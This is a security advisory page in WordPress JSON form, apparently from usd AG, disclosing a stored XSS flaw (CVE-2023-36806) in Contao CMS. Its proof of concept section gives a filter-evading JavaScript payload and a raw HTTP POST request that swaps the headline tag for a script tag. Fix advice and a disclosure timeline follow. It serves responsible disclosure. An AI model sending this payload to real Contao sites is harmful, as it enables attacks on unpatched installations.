{"id":21078,"date":"2023-10-20T14:12:31","date_gmt":"2023-10-20T12:12:31","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=21078"},"modified":"2023-10-20T15:47:03","modified_gmt":"2023-10-20T13:47:03","slug":"usd-2023-0020","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0020\/","title":{"rendered":"usd-2023-0020"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_text _builder_version=\"4.21.0\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" theme_builder_area=\"post_content\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2023-0020 | XSS in Contao v.4.13.28<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2023-0020<br \/>\n<strong>Product<\/strong>: Contao CMS<br \/>\n<strong>Affected Version<\/strong>: 4.0.0 to 4.9.42, 4.13.28, and 5.1.10<br \/>\n<strong>Vulnerability Type<\/strong>: CWE-79<br \/>\n<strong>Security Risk<\/strong>: MEDIUM<br \/>\n<strong>Vendor URL<\/strong>: <a>https:\/\/contao.org\/en\/<\/a><br \/>\n<strong>Vendor Status<\/strong>: Fixed<br \/>\n<strong>CVE number<\/strong>: CVE-2023-36806<br \/>\n<strong>CVE Link<\/strong>: <a>https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-36806<\/a><br \/>\n<strong>Last Update<\/strong>: 2023-08-04<\/p>\n<h3>Desciption<\/h3>\n<p>Contao is a powerful open source CMS that lets you create professional websites and scalable web applications.<\/p>\n<p>A user of a low-privileged role can send along an XSS payload via a modification of the request that creates an article with a headline, which is triggered in the frontend and in the backend.<\/p>\n<p>When choosing the headline, different <strong>h<\/strong> tags can be used.<br \/>\nHowever, these are not checked by the Contao system on the server side.<br \/>\nIf a <strong>script<\/strong> tag is sent instead, the headline is embedded in a <strong>script<\/strong> tag. The headline can then be used for the content of a payload.<br \/>\nAlthough the Contao backend filters out certain special characters like <strong>= ( ) &lt; &gt;<\/strong> at this point, this is not sufficient to prevent a successful payload.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>To include the XSS in the payload, the <strong>headline[unit]<\/strong> attribute for the HTML value of the headline must be changed from an <strong>h tag<\/strong> to a <strong>script tag<\/strong>. Then the following payload can be entered in the <strong>headline[value]<\/strong> field:<\/p>\n<p><em>Reflect.apply.call*<\/em>${alert}${undefined}${[document.domain]}***<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/contao?do=article&amp;id=10767&amp;table=tl_content&amp;act=edit&amp;rt=b64d9e8[...]<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"l\" style=\"background: #263238;color: #c3e88d\">vulnerable-host.de<\/span>\n<span class=\"err\" style=\"background: #263238;color: #ff5370\">[...]<\/span>\n&amp;headline%5Bvalue%5D=Reflect.apply.call%60%24%7Balert%7D%24%7Bundefined%7D%24%7B%5Bdocument.domain%5D%7D%60\u00b5&amp;\u00b5headline%5Bunit%5D=script\u00b5&amp;text=%3Cp%3Etest%3C%2Fp%3E&amp;addImage=&amp;customTpl=&amp;protected=&amp;guests=&amp;cssID%5B%5D=&amp;cssID%5B%5D=&amp;invisible=&amp;start=&amp;stop=&amp;save=\n<\/pre>\n<\/div>\n<p>The payload is triggered in the fronted but also in the backend.<\/p>\n<h3>Fix<\/h3>\n<p>It is recommended to classify any input on the website as potentially dangerous.<br \/>\nAll output generated dynamically using user-controlled data should be coded according to the output context.<\/p>\n<p>In addition, all input should be validated or filtered on the server side. Where possible, a list of allowed characters should also be used to validate input values. The narrower such a filter can be, the more effective its protection.<br \/>\nAllowlists are particularly recommended if input values have a precisely defined format or if a list of allowed input values exists.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a>https:\/\/www.owasp.org\/index.php\/Cross-site_Scripting_(XSS)<\/a><\/li>\n<li><a>https:\/\/contao.org\/de\/sicherheitshinweise\/cross-site-scripting-in-widgets-mit-einheiten<\/a><\/li>\n<li><a>https:\/\/github.com\/contao\/contao\/security\/advisories\/GHSA-4gpr-p634-922x<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-06-29<\/strong>: First contact request via security@contao.org.<\/li>\n<li><strong>2023-06-30<\/strong>: Response by Contao's Security Team with a preliminary patch for and a request for retesting.<\/li>\n<li><strong>2023-07-03<\/strong>: A review of the patch shows that the issue is mitigated.<\/li>\n<li><strong>2023-07-17<\/strong>: Contao informs that the patch is scheduled to release of the 25th of July.<\/li>\n<li><strong>2023-07-25<\/strong>: Patch is released, usd analysts Fabian Brenner and Christian P\u00f6schl are credited for their research.\n<li><strong>2023-10-XX<\/strong>: Advisory released by usd AG.<\/li>\n<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Fabian Brenner and Christian P\u00f6schl of usd AG.[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0020 | XSS in Contao v.4.13.28 Advisory ID: usd-2023-0020 Product: Contao CMS Affected Version: 4.0.0 to 4.9.42, 4.13.28, and 5.1.10 Vulnerability Type: CWE-79 Security Risk: MEDIUM Vendor URL: https:\/\/contao.org\/en\/ Vendor Status: Fixed CVE number: CVE-2023-36806 CVE Link: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-36806 Last Update: 2023-08-04 Desciption Contao is a powerful open source CMS that lets you create professional websites [&hellip;]<\/p>\n","protected":false},"author":114,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-21078","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/114"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=21078"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21078\/revisions"}],"predecessor-version":[{"id":21161,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21078\/revisions\/21161"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=21078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}